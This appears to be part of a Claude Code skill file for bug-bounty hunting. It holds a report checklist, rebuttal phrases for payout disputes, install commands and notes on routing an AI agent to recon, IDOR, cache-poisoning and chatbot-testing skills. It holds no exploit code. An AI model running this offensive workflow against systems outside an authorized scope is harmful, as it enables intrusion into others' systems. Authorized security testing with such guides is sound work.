[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
Severity Escalation Language
When payout is being downgraded, use these counters:
Program Says
You Counter With
"Requires authentication"
"Attacker needs only a free account (no special role)"
"Limited impact"
"Affects [N] users / [PII type] / [$ amount]"
"Already known"
"Show me the report number -- I searched and found none"
"By design"
"Show me the documentation that states this is intended"
"Low CVSS score"
"CVSS doesn't account for business impact -- attacker can steal [X]"
To use this as a Claude Code skill, copy this file to your skills directory:
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copymkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
Related Skills & Chains
bb-methodology — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; bb-methodology is the 5-phase workflow it routes to. Load bb-methodology FIRST, then this skill names the topic-matched hunt-* skills.
hunt-dispatch — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to hunt-dispatch for the platform fingerprint + skill-set load.
web2-recon + offensive-osint — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to web2-recon and the operational arsenal (probes / wordlists / regexes) to offensive-osint.
triage-validation + report-writing — When a finding completes Phase 4. Workflow primitive: this skill routes to triage-validation (7Q gate) → only if all 7 pass, hand off to report-writing for the platform-specific body.
Operator Notes (Claude-BugHunter)
Engagement-derived additions to the vendored foundation. Wisdom from real
authorized engagements + Phase 2 verification across this repo's 31+
skill-area live tests. The upstream methodology covers the WHAT; this
layer covers the WHEN-IT-ACTUALLY-WORKS and the FAILURE-MODES.
When to use the orchestrator vs a direct skill
The orchestrator (this skill) is for the "I don't yet know what bug class to hunt for" case. If you've already identified the candidate — "the response reflects my Host header into a JavaScript src URL, that's cache poisoning" — load hunt-cache-poisoning directly. The orchestrator's value is the initial routing from a fuzzy intent ("there's a chatbot, what should I test") to a concrete skill set (hunt-llm-ai + hunt-api-misconfig).
When in doubt: open the orchestrator FIRST on any new target, let it route, then close the orchestrator and work in the loaded skills. Don't keep the orchestrator loaded all session — it occupies context window that could hold actual probe results.
Common misuse: loading every hunt-* simultaneously
There are 30+ hunt-* skills in this repo. Each carries a non-trivial context footprint. The orchestrator's job is to pick 2-3 by topic match, not to dump the entire library. If the user says "hunt this SaaS app", do NOT load every hunt-* skill — pick web2-recon + hunt-idor + hunt-api-misconfig (the SaaS-typical trio) and stop there. Add more only when the recon output suggests a specific additional class (e.g., GraphQL endpoints found → add hunt-graphql).
Integration with hunt-dispatch
This skill routes by bug class (topic match). The hunt-dispatch skill added in this repo routes by engagement mode (red-team vs WAPT, blackbox vs greybox). They compose:
User says "hunt example.com"
bb-methodology PART 0 confirms mode (e.g., bug-bounty blackbox)
hunt-dispatch loads the platform-specific attack profile
This orchestrator (bug-bounty) names the topic-matched hunt-* skills inside the chosen profile
Don't bypass either step. Mode determines what counts as a finding; topic determines what techniques apply.
Engagement scaffolding
The /hunt slash-command and the hunt <target> shell helper (see this repo's cmd/ directory) pre-create the engagement scaffold:
targets/<target>/scope.md — declared scope, pasted from the program page
targets/<target>/findings/ — one MD per validated finding
Use the scaffold from the start. Half-organized engagements lose findings — a probe result from hour 2 that didn't seem important until hour 14 is unrecoverable if it wasn't logged.
When the orchestrator gets it wrong
Across 30+ Phase 2 verification tests in this repo, the orchestrator correctly auto-triggered the matching skill in every test — zero misfires. If on a future target the orchestrator misroutes (loads the wrong hunt-* for the topic), the cause is almost always the description: frontmatter field on the target skill: a missing keyword that would have matched the user's intent. Fix forward by editing that skill's frontmatter description: field to include the missing trigger word. Don't add another layer of dispatch logic; tighten the description.
bb-local-toolkit — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance; bb-local-toolkit answers the specific "where is jhaddix/SecLists installed on this machine?" question.